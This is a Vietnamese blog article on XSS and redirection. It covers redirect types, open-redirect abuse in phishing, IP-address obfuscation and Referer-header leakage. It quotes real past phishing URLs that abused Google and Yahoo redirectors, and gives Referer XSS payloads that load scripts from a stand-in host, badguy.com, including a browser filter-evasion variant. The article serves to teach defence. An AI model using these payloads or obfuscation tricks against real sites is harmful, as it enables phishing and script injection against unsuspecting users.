11/08/2018, 22:17

XSS tấn công và phòng thủ: Chuyển hướng (Redirection)

Social engineering là nghệ thuật của lừa dối khiến con người làm những việc khác với những gì họ làm trong hoàn cảnh thông thường. Trong khi một vài tham chiếu tới vấn đề này như là lập trình ngôn ngữ tư duy (NLP - Neural Linguistic Programming), bản chất của nó thực sự chỉ là sự gian lận. ...

hacked

Social engineering là nghệ thuật của lừa dối khiến con người làm những việc khác với những gì họ làm trong hoàn cảnh thông thường. Trong khi một vài tham chiếu tới vấn đề này như là lập trình ngôn ngữ tư duy (NLP - Neural Linguistic Programming), bản chất của nó thực sự chỉ là sự gian lận. Người chỉ dụng không chỉ phải tin tưởng những trang Web họ truy cập, mà họ còn phải tin tưởng cả những vector đã dẫn họ tới đó (ví dụ như thư điện tử email, tin nhắn nhanh IM, các diễn đàn, v.v...). Đó có thể là một trở ngại đáng kể, nhưng với những kẻ tấn công phishing, giải pháp thường được tìm thấy ở trong một liên kết phức tạp xuất hiện một cách hợp lệ, nhưng thực tế lại chứa đựng những URL độc hại.

Cách phổ biến nhất để chuyển hướng người dùng là thông qua những chuyển hướng trên một trang Web bình thường, không độc hại. Rất nhiều trang Web sử dụng chuyển hướng để theo dấu người dùng. Ví dụ, một người dùng bình thường sẽ truy cập vào trang "vô tội", rồi họ nhìn thấy điều gì đó thú vụ, họ click vào liên kết. Liên kết này sẽ đưa người dùng một đoạn script chuyển hướng, thứ mà sẽ theo dấu người dùng khi họ rời khỏi trang hiện tại và được chuyển hướng đến trang đích ở ngoài.

Chuyển hướng thường có 3 dạng chính:

  • Chuyển hường bằng tiêu đề: Cách chuyển hướng này có thể sử dụng nhiều mã trạng thái trả về khác nhau, nhưng bắt buộc phải sử dụng trên nên giao thức HTTP (Hypertext Transfer Protocol) để gửi thông tin tới trình duyệt của người dùng và chuyển hướng tới mục tiêu dự định.
  • Chuyển hướng meta: Cách chuyển hướng này sử dụng một thẻ HTML để chuyển tiếp người dùng tới trang đích. Cách hoạt động cũng tương tự như chuyển hướng bằng tiêu đề, ngoại trừ 1 điểm: Cách chuyển hướng này có 1 ưu điểm là có thể tạm hoãn việc chuyển hướng sau một khoảng thời gian nhất định. (ví dụ như sau: <META HTTP- EQUIV=”Refresh” CONTENT=”5; URL=http://redirect.com”>). Tuy nhiên, cách chuyển hướng có thể bị người dùng vô hiệu hoá, và nó sẽ không hoạt động trong các trình đọc hiển thị văn bản đơn giản mà không có thao tác click chuột.
  • Chuyển hướng động: Cách chuyển hướng có thể ở bên trong các đoạn phim trình chiếu bằng Flash, hoặc bên trong Javascript, hoặc các mã chuyển hướng khác ở phía người dùng. Cách chuyển hướng này có ưu điểm là chuyển hướng tuỳ theo sự kiện, hơn là phụ thuộc vào thời gian. Tuy nhiên, nó có hạn chế là nó phụ thuộc hoàn toàn vào trình duyệt Web để có thể làm việc với bất cứ mã chương trình nào.

Bảng sau là danh sách các mã trạng thái chuyển hướng được trả về trong tiêu đề gói tin.

Mã trạng thái Ý nghĩa và cách sử dụng
301 Moved Permanently Chuyển hướng vĩnh viễn khi một trang được chuyển hướng từ trang này tới trang web khác bên ngoài, khi một trang web được chuyển hướng sáng trang web khác, v.v... Các máy tìm kiếm cho rằng đây là sự thay đổi rất lớn, và sẽ cập nhật chỉ mục của chúng để phản ánh sự chuyển hướng này.
302 Found Chuyển hướng tạm thời được sử dụng sự một trang được chuyển hướng trong một thời gian ngắn, hoặc khi sự chuyển hướng này nhắm tới nhiều hơn một mục tiêu phụ thuộc vào giá trị của các biến.
303 See Other Phương pháp này tồn tại chủ yếu để cho phép đầu ra của các đoạn mã chương trình kích hoạt POST chuyển hướng trình duyệt của người dùng tới một nơi được chọn. Mã này không được dùng thường xuyên vào thiếu hỗ trợ ngược cho các trình duyệt HTTP/1.0
307 Temporary Redirect Hoạt động giống như chuyển hướng với mã 302

Khi việc chuyển hướng được thực hiện ở phía máy chủ, dưới đây cú pháp thông thường được đưa ra (đoạn này sử dụng mã chuyển hướng 302)

    HTTP/1.1 302 Found
    Date: Sun, 25 Feb 2007 21:52:21 GMT
    Server: Apache
    Location: http://www.badguy.com/
    Content-Length: 204
    Connection: close
    Content-Type: text/html; charset=iso-8859-1

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>302 Found</title>
    </head><body>
    <h1>Found</h1>
    <p>The document has moved <a href="http://www.badguy.com/">here</a>.</p>
    </body></html>

Thường thì, sự chuyển hướng sẽ được hiện thị ngay ở URL, nơi mà các tham số là sự chuyển hướng trong truy vấn:

www.goodsite.com/redir.php?url=http://www.badguy.com/

Hoặc bạn cũng có thể thấy URL được mã hoá các ký tự đặc biệt thành như sau:

www.goodsite.com/redir.php?url=http%3A%2F%2Fwww.badguy.com/

Lý do khiến đây là một điều tệ bởi vì nó phụ thuộc vào uy tin của www.goodsite để thực hiện. Nó gây ra 2 điều tệ cho công ty trong truy vấn. Thứ nhât, người tiêu dùng của họ giống như bị phishing và thứ hai, thương hiệu có thể bị tổn hại. Nếu thương hiệu bi tổn hại, người dùng sẽ có xu hướng đặt câu hỏi về tính bảo mật của www.goodsite.com, và có thể ngừng việc truy cập đến trang Web trong trường hợp có dấu hiệu bất thường. Ngay cả khi lỗ hổng bảo mật không được công khai, người dùng Internet vẫn có thể nói chuyện với nhau và bảo nhau đừng truy cập. Đã qua rồi thời mà một người dùng bị cô lập có thể bỏ qua. Các cổng thông tin như ha.ckers.org và sla.ckers.org đã chứng mình rằng, không mất quá nhiều để tạo ra một cơn sốt báo chí. Thật không may, kết quả này là một vấn đề công khai lớn cho các trang trong truy vấn.

Dưới đây là một ví dụ mà Google chuyển người dùng tới trang Web phishing. Nếu bạn sao chép và dán URL này vào trong thanh địa chỉ trình duyệt của bạn, bạn hãy chắc chắn rằng phần nhìn thấy của URL không chứa trang phishing trong truy vấn. Hơn nữa, bạn có thể muốn ghi lại cổng mà trang Web này đang sử dụng (2006). Trong khi ví dụ đã bị xoá bỏ khỏi Internet, một thay đổi nhỏ trong URL sẽ dẫn đến một liên kết hợp lệ.

URL gốc của kẻ tấn công phishing:

http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q-fXBJGSiQLU0eDSAueHkArnhtWZAu-FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2fP____8BoAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&num=5&adurl=http://211.240.79.30:2006/www.paypal.com/webscrr/index.php

URL mẫu đã cập nhật:

www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q- fXBJGSiQLU0eDSAueHkArnhtWZAu- FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC apCCqkCxU7NLQH0sz4&num=5&adurl=http://cnn.com

Đây là một ví dụ ngắn hơn của Google:

http://www.google.com/url?q=http://66.207.71.141/signin.ebay.com/Mem bers_Log-in.htm

Phishing không phải chỉ được sử dụng bởi kẻ xấu. Dưới đây là một sự chuyển hướng khác được sử dụng để chuyển tiếp người dùng tới thư rác được tìm thấy trong cùng khoảng thời gian:

www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5Q- fXBJGSiQLU0eDSAueHkArnhtWZAu- FmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2f-P____8BoAGyqor_A8gBAZUCC apCCqkCxU7NLQH0sz4&num=5&adurl=http://212.12.177.170:9999/www. paypal.com/thirdparty/webscrr/index.php

Một ví dụ khác sử dụng cách tương tự, nhưng lưu ý cách mà toàn bộ chuỗi ký tự là URL được mã hoá để xáo trộn vị trí thực sự mà người dùng sẽ bị chuyển đến.

www.google.com/url?q=%68%74%74%70%3A%2F%2F%69%6E%65%7 1%73%76%2E%73%63%68%65%6D%65%67%72%65%61%74%2E%6 3%6F%6D%2F%3F%6B%71%77%76%7A%6A%77%7A%66%63%65%75

Đây là ví dụ tương tự được sử dụng trong thực tế với Yahoo:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2 ZHVuZ3E3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANG NjU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//65.102.124.244/us age/.us/link.php

URL dưới đây sử dụng những biến thể rất thú vị của kiểu tấn công trên. Hãy xem liệu bạn có thể tìm ra URL đích đến hay không:

http://rds.yahoo.com/_ylt=A0LaSV66fNtDg.kAUoJXNyoA;_ylu=X3oDMTE2 ZHVuZE3BGNvbG8DdwRsA1dTMQRwb3MDMwRzZWMDc3IEdnRpZANGN jU1Xzc1/SIG=148vsd1jp/EXP=1138544186/**http%3a//1115019674/www.p aypal.com/us/webscr.php?cmd=_login-run

Thật không may, những kẻ tấn công đã gây ra các hình thức gây rối khác nhau trong vài năm trở lại đây, như được minh hoạ ở trên. Các ví dụ trên sử dụng thứ được gọi là địa chỉ double word (dword). Nó tương đương với 4 byte. Nhưng có rất nhiều cách khác nhau. Bảng dưới đây mô tả cách một người dùng có thể xáo trộn địa chỉ IP:

URL Kiểu dữ liệu
http://127.0.0.1/ Thập phân
http://2130706433/ Dword
http://0x7f.0x00.0x00.0x01/ Hex
http://0177.0000.0000.0001/ Oct
http://127.0x00.0000.0x01/ Hỗn hợp

Thủ thuật này ngày càng trở nên phổ biến trong những kẻ tấn công phishing, như được thấy ở đây là một ví dụ thật được lấy ra từ thư điện tử lừa đảo:

http://0xd2.0xdb.0xf1.0x7b/.online/BankofAmericaOnlineID/cgi-bin/sso.login.controller/SignIn/

Có một số lượng lớn các dịch vụ chuyển hướng mà chức năng của chúng là rút ngắn các URL. Điều này rất hữu ích khi URL dài có thể bị lỗi ngắt dòng hay khó để có thể nhập bằng tay. Ví dụ:

www.google.com/search?hl=en&q=ha.ckers.org&btnG=Google+Search

vs

tinyurl.com/2z8ghb

Sử dụng những thứ tương tự như dịch vụ chuyển hướng có thể giảm đáng kể kích thước của một URL, làm nó trở nên dễ nhớ và dễ quản lý. Thật không may rằng điều đó cũng là một cánh cửa rộng mở cho những kẻ spam hay phishing, những kẻ muốn che giấu hoặc xáo trộn URL của chúng.

Một trong số những công ty chuyển hướng này có TinyURL, ShortURL, v.v... Tuy nhiên, như những gì bạn đang nghĩ, nó cũng gây ra những vấn đề đau đầu cho các dịch vụ như SURBL (Spam URL Realtime Blacklist - Dịch vụ sổ đen theo thời gian thực những URL spam), dịch vụ phân tích các URL được cung cấp cho các trang spam. Bởi vì các dịch vụ chuyển hướng cơ bản đã "rửa" các URL, nên sổ đen sẽ rất khó phân biệt trang Web bình thường và một trang Web độc hai.

Mặc dù nó không được sử dụng nhiều như nó có thể, chúng ta vẫn thấy những ảnh hưởng của các dịch vụ chuyển hướng tới sổ đen biết được URL độc hại hay spam. Tất nhiên, chúng chạy với chính xác cùng vấn đề với bất kỳ phần mềm phát hiện spam nào. Không cần phải nói chúng ta cũng hiểu rằng đó là một vấn đề rất phức tạp.

Một dạng của rò gỉ xuyên tên miền là thông qua tham chiếu URL. Bất khi nào một truy vấn được tạo ra từ một trang Web tới trang khác, trình duyệt sẽ thông tin cho trang Web đich nơi mà truy vấn bắt đầu thông qua tiêu đề "Tham chiếu". Tham chiếu URL đặc biệt hữu ích khi một quản trị viên muốn biết về lưu thông của trang Web bắt nguồn từ đâu. Ví dụ, nếu một trang Web bắt đầu nhận một lượng lớn các lưu thông, nó sẽ rất có ích để lần theo vết nơi mà trình duyệt tìm thấy trang Web. Tuỳ thuộc vào trang truy vấn, một nhà phát triển có thể thay đổi chiến lược tiếp thị, hoặc chặn/chuyển hướng tất cả cùng một lúc.

Tham chiếu URL cũng đặc biệt hữu ích trong việc gỡ rồi, ví dụ khi lỗi 404 (không tìm thấy file) xảy ra trong nhật ký. Trình duyệt sẽ nói với quản trị viên của trang Web nơi mà họ gặp phải những liên kết gây lỗi. Rất nhiều phần mềm theo dõi hệ thống sử dụng tham chiếu URL để theo dõi những liên kết nào được gửi đi nhiều nhất trong lưu thông. Và kết quả là, điều đó có thể làm rò gỉ thông tin từ một tên miền nới tên miền khác, đặc biệt khi mà URL trong truy vấn có chứa các thông tin bảo mật, login hay các thông tin nhạy cảm khác. Dưới đây là một ví dụ của tham chiếu URL (chú ý rằng, trong tiêu đề nó là "Referer" bởi vì nó được đọc sai trong đặc tả kỹ thuật của HTTP)

    GET / HTTP/1.1
    Host: ha.ckers.org
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070219 Firefox/2.0.0.2
    Accept: image/png,*/*;q=0.5
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    **Referer: http://sla.ckers.org/forum/**
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Proxy-Connection: keep-alive

Tham chiếu URL không phải lúc nào cũng có thể tin tưởng và sử dụng chúng ngoài mục đích thông thường có thể gây ra những rắc rối cho bạn. Có rất nhiều trường hợp trong đó tham chiếu URL sẽ trống, sai hoặc không tồn tại:

  • Thẻ META có thể được sử dụng để xóa bỏ tham chiếu URL trong một trang Web khi bạn bật nó lên. Thỉnh thoảng, nó rất hữu dụng để xóa bỏ tham chiếu URL để tránh các cơ chế dò tìm tham chiếu.
  • Một số sản phẩm bảo mật như Zonelabs Zone Alarm Pro, Norton Internet Security, và Norton Personal Firewall sẽ xóa bỏ phần tiêu đề tham chiếu URL.
  • Khi một người dùng click vào một liên kết bất kỳ trên một tập tin HTML trong máy tính của họ, trang Web ở trên Internet và hầu hết các trình duyệt hiện này đề không gửi tham chiếu URL.
  • XMLHTTPRequests có thể chứng nhận hay xóa bỏ bất kỳ tiêu đề nào.
  • Flash có thể chứng nhận hay xóa bỏ bất kỳ tiêu đề nào.
  • Robots có thể nói dối về tham chiếu URL để làm trang Web ghi lại những thông tin này trên trang Web nơi mà các máy tìm kiếm có thể tìm thấy, điều này sẽ giúp thứ hạng của các trang tăng lên trên máy tìm kiếm.
  • Người dùng có thể thay đổi, hoặc xóa bỏ tham chiếu URL sử dụng proxy hoặc các công cụ quản trị mạng khác (ví dụ Burp). Điều này hiếm khi xảy ra, nhưng dẫu thế nào cũng nên lưu ý rằng nó là một phương thức tấn công rất thông dụng

Không chỉ có thể tham chiếu URL là đúng hoặc sai, chúng có thể có chứa XSS. Thông thường, một tham chiếu URL là một URL được mã hóa, nhưng không có lý do bắt buộc phải làm vậy nếu nó có nhiệm vụ là tấn công và nó không phá vỡ ứng dụng ghi nhật ký khi làm vậy:

Referer: http://ha.ckers.org/?<script>alert("XSS")</script>

Ví dụ trên có thể có những ảnh hướng nguy hiểm, mặc dù nó chỉ chạy một đoạn javascript đơn giản. Thông thường, kiến trúc nhật ký là không thể nhìn thấy được bởi người dùng thông thường. Nếu quản trị viên thông qua XSS trên một trang bảo mật, nó có thể chạy trong bối cảnh bảo mật đó. Hơn nữa, nếu một biến được thêm vào trong Javascript, kẻ tấn công có thể giả mạo làm quản trị viên, và trên thực tế là ở bên trong tường lửa. Nó cho chúng một ưu điểm duy nhất khi sử dụng các phương thức tấn công khác (Bạn có thể tìm hiểu Intranet Hacking)

Referer: http://whatever.com?<script src=http://badguy.com/hack.js?unique=123456></script>

Đối với một số trình duyệt, ký tự dấu cách(%20) trong các URL trên có thể đẩy mọi thứ lên, do đó có một vài kỹ thuật xung quanh nó, bao gồm cả các vector không phải chữ cái và chữ số.

Referer: http://whatever.com/?<script/src="http://badguy.com/hackForIE.js?unique=123456"src="http://badguy.com/hackForFF.js?unique=123456"></script>

Vector đầu tiên hoạt động vì có một dấu gạch chéo / ở giữa <script và src, nó hoạt động trong IE. Tuy nhiên, Firefox bỏ qua kỹ thuật này. Thật không may, giải pháp cho Firefox là đóng chuỗi ký tự bằng dấu nháy và ngay lập tức thêm một src khác. Điều này cho phép vector bùng phát mà không cần phải lo nghĩ về trình duyệt nào đang truy cập trong khi không một lần cho thêm một dấu cách trong chuỗi ký tự. Có nhiều cách làm việc này với String.fromCharCode và unescape thông qua Javascript, đây chỉ là một ví dụ.

Cũng giống như GET, POST, Webmaster phải xác thực và làm sạch mọi thứ có thể được nhìn thấy trên bất kỳ trang Web nào. Tuy nhiên, với mỗi lần được lặp lại, công việc này vô cùng khó khăn để cài đặt và thực hiện. Cần phải thực hành, kiểm tra tích cưc đối với những lỗi mới nhất để bảo vệ trang Web khỏi các tấn công.

Trong những bài viết sau, tôi sẽ tiếp tục đề cập những lý thuyết tiếp theo của phương thức tấn công XSS.

0